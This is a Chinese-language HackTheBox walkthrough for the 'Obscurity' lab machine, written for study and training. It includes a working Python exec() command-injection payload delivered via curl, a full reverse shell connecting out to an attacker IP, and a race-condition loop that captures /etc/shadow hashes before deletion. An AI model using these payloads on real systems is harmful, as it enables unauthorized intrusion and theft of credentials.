我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案。在本文中,我们利用python代码中的漏洞,还执行了竞态条件攻击。通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您会与知道信息安全领域知识的人进入专用网络:)侦察
这台机器的IP地址为10.10.10.168,我将其添加到/ etc / hosts。10.10.10.168 obscurity.htb
首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500
现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。nmap -A obscurity.htb -p22,8080
主机运行SSH服务和Web服务器。我们去看网络。
因此,我们有:- 录音服务器
- 使用加密
- SuperSecureServer.py文件中某个未知目录中的服务器代码。
由于我们知道文件的名称,因此我们遍历目录。让我们用wfuzz做到这一点。作为参数,我们传递要忽略的字典,URL和响应代码。wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404
我们找到这个目录。让我们下载服务器代码。wget http://obscurity.htb:8080/develop/SuperSecureServer.py
入口点
我们打开并分析服务器。我们发现使用exec()函数具有潜在的危险。
让我们在代码中添加一些行。
因此,我们可以在本地启动服务器,然后查看exec()函数中包含的内容。让我们启动服务器并发送请求。curl http://127.0.0.1:33333/asd

curl "http://127.0.0.1:33333/asd'"

curl "http://127.0.0.1:33333/asd''"
因此,我们进行了OS Command注入。curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"
我们将使用以下反向python shell。import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
由于服务器代码已经包含必需模块的导入,因此我们从外壳程序中删除了它们的导入。我们也将引号和方括号转义。curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
精细!一切都在本地计算机上运行。让我们对服务器执行此请求。curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
我们有一个切入点。用户
我们在服务器上四处张望,并在用户的主目录中找到可读的文件。
我们读取文件。
因此,文件被加密。下载我们提供给本地主机的所有内容。如消息中所述,check.txt文件已加密,结果在out.txt中。让我们看看算法。
因此,在加密期间,发生文本符号和密钥符号模255的相加,在解密时,将这些符号相减。也就是说,([[check.txt] + [key])%255 = out.txt和([out.txt]-[key])%255 = check.txt。然后([out.txt]-[check.txt])%255 =键。
并查看关键。
现在,在此密钥上,我们解密用户密码。
我们使用此密码通过SSH连接并获取用户标记。
根
让我们看一下sudo设置,即用户robert是否可以在没有密码的情况下在sudo下执行任何命令。
让我们看一下代码。该代码将需要身份验证数据。然后,它将/ etc / shadow文件的内容复制到/ tmp / SSH / *目录。然后它将验证身份验证数据并删除文件。
因此,在删除文件之前,我们必须设法从/ tmp / SSH / *复制文件。运行第二个终端并在其中执行无穷的读取周期。for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done
现在运行程序,输入任何数据并查看哈希。sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
而且它们容易折断。
我们以根的旗帜。
您可以通过Telegram加入我们。在这里,您可以找到有趣的资料,合并的课程以及软件。让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。